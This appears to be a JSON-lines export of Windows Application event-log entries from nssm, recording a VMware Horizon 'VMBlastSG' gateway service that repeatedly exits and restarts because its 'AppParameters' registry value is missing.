{"@timestamp":1646835302359,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167120}}
{"@timestamp":1646835302360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","159252","0"]}}},"module":"Application","provider":"nssm","sequence":167121}}
{"@timestamp":1646835302360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["159252","159252","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167122}}
{"@timestamp":1646835302377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167123}}
{"@timestamp":1646835302377,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167124}}
{"@timestamp":1646835302378,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167125}}
{"@timestamp":1646835302379,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167126}}
{"@timestamp":1646835430850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167127}}
{"@timestamp":1646835430850,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167128}}
{"@timestamp":1646835430851,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164568","0"]}}},"module":"Application","provider":"nssm","sequence":167129}}
{"@timestamp":1646835430852,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164568","164568","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167130}}
{"@timestamp":1646835430870,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167131}}
{"@timestamp":1646835430871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167132}}
{"@timestamp":1646835430871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167133}}
{"@timestamp":1646835430872,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167134}}
{"@timestamp":1646835559365,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167135}}
{"@timestamp":1646835559368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167136}}
{"@timestamp":1646835559368,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162016","0"]}}},"module":"Application","provider":"nssm","sequence":167137}}
{"@timestamp":1646835559369,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162016","162016","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167138}}
{"@timestamp":1646835559385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167139}}
{"@timestamp":1646835559386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167140}}
{"@timestamp":1646835559386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167141}}
{"@timestamp":1646835559387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167142}}
{"@timestamp":1646835687876,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167143}}
{"@timestamp":1646835687877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167144}}
{"@timestamp":1646835687879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163920","0"]}}},"module":"Application","provider":"nssm","sequence":167145}}
{"@timestamp":1646835687880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163920","163920","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167146}}
{"@timestamp":1646835687896,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167147}}
{"@timestamp":1646835687897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167148}}
{"@timestamp":1646835687897,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167149}}
{"@timestamp":1646835687898,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167150}}
{"@timestamp":1646835816384,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167151}}
{"@timestamp":1646835816385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167152}}
{"@timestamp":1646835816385,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163572","0"]}}},"module":"Application","provider":"nssm","sequence":167153}}
{"@timestamp":1646835816386,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163572","163572","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167154}}
{"@timestamp":1646835816402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167155}}
{"@timestamp":1646835816402,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167156}}
{"@timestamp":1646835816403,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167157}}
{"@timestamp":1646835816404,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167158}}
{"@timestamp":1646835944904,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167159}}
{"@timestamp":1646835944906,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167160}}
{"@timestamp":1646835944907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","154692","0"]}}},"module":"Application","provider":"nssm","sequence":167161}}
{"@timestamp":1646835944907,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["154692","154692","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167162}}
{"@timestamp":1646835944924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167163}}
{"@timestamp":1646835944924,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167164}}
{"@timestamp":1646835944925,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167165}}
{"@timestamp":1646835944926,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167166}}
{"@timestamp":1646836073468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167167}}
{"@timestamp":1646836073468,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167168}}
{"@timestamp":1646836073469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164048","0"]}}},"module":"Application","provider":"nssm","sequence":167169}}
{"@timestamp":1646836073469,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164048","164048","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167170}}
{"@timestamp":1646836073486,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167171}}
{"@timestamp":1646836073487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167172}}
{"@timestamp":1646836073487,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167173}}
{"@timestamp":1646836073488,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167174}}
{"@timestamp":1646836201982,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167175}}
{"@timestamp":1646836201983,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167176}}
{"@timestamp":1646836201984,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","161144","0"]}}},"module":"Application","provider":"nssm","sequence":167177}}
{"@timestamp":1646836201985,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["161144","161144","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167178}}
{"@timestamp":1646836202003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167179}}
{"@timestamp":1646836202003,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167180}}
{"@timestamp":1646836202004,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167181}}
{"@timestamp":1646836202005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167182}}
{"@timestamp":1646836330503,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167183}}
{"@timestamp":1646836330504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167184}}
{"@timestamp":1646836330504,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164816","0"]}}},"module":"Application","provider":"nssm","sequence":167185}}
{"@timestamp":1646836330505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164816","164816","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167186}}
{"@timestamp":1646836330523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167187}}
{"@timestamp":1646836330523,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167188}}
{"@timestamp":1646836330524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167189}}
{"@timestamp":1646836330524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167190}}
{"@timestamp":1646836459005,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167191}}
{"@timestamp":1646836459006,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167192}}
{"@timestamp":1646836459007,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","162912","0"]}}},"module":"Application","provider":"nssm","sequence":167193}}
{"@timestamp":1646836459009,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["162912","162912","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167194}}
{"@timestamp":1646836459026,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167195}}
{"@timestamp":1646836459027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167196}}
{"@timestamp":1646836459027,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167197}}
{"@timestamp":1646836459028,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167198}}
{"@timestamp":1646836587505,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167199}}
{"@timestamp":1646836587506,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167200}}
{"@timestamp":1646836587507,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164000","0"]}}},"module":"Application","provider":"nssm","sequence":167201}}
{"@timestamp":1646836587508,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164000","164000","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167202}}
{"@timestamp":1646836587524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167203}}
{"@timestamp":1646836587524,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167204}}
{"@timestamp":1646836587525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167205}}
{"@timestamp":1646836587525,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167206}}
{"@timestamp":1646836716012,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167207}}
{"@timestamp":1646836716013,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167208}}
{"@timestamp":1646836716014,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163028","0"]}}},"module":"Application","provider":"nssm","sequence":167209}}
{"@timestamp":1646836716015,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163028","163028","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167210}}
{"@timestamp":1646836716032,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","163876","0"]}}},"module":"Application","provider":"nssm","sequence":167211}}
{"@timestamp":1646836716033,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["163876","163028","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167212}}
{"@timestamp":1646836716050,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167213}}
{"@timestamp":1646836716051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167214}}
{"@timestamp":1646836716051,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167215}}
{"@timestamp":1646836716052,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167216}}
{"@timestamp":1646836844682,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1008,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\"]}}},"module":"Application","provider":"nssm","sequence":167217}}
{"@timestamp":1646836844683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1013,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd","VMBlastSG","0"]}}},"module":"Application","provider":"nssm","sequence":167218}}
{"@timestamp":1646836844684,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1023,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","164604","0"]}}},"module":"Application","provider":"nssm","sequence":167219}}
{"@timestamp":1646836844685,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1027,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["164604","164604","VMBlastSG"]}}},"module":"Application","provider":"nssm","sequence":167220}}
{"@timestamp":1646836844701,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1014,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","0","Restart","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167221}}
{"@timestamp":1646836844702,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1018,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","The system cannot find the file specified.\r\n"]}}},"module":"Application","provider":"nssm","sequence":167222}}
{"@timestamp":1646836844703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1029,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["AppParameters","VMBlastSG","C:\\Program Files\\VMware\\VMware View\\Server\\appblastgateway\\run-absg.cmd"]}}},"module":"Application","provider":"nssm","sequence":167223}}
{"@timestamp":1646836844703,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1034,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["VMBlastSG","1500","128000"]}}},"module":"Application","provider":"nssm","sequence":167224}}
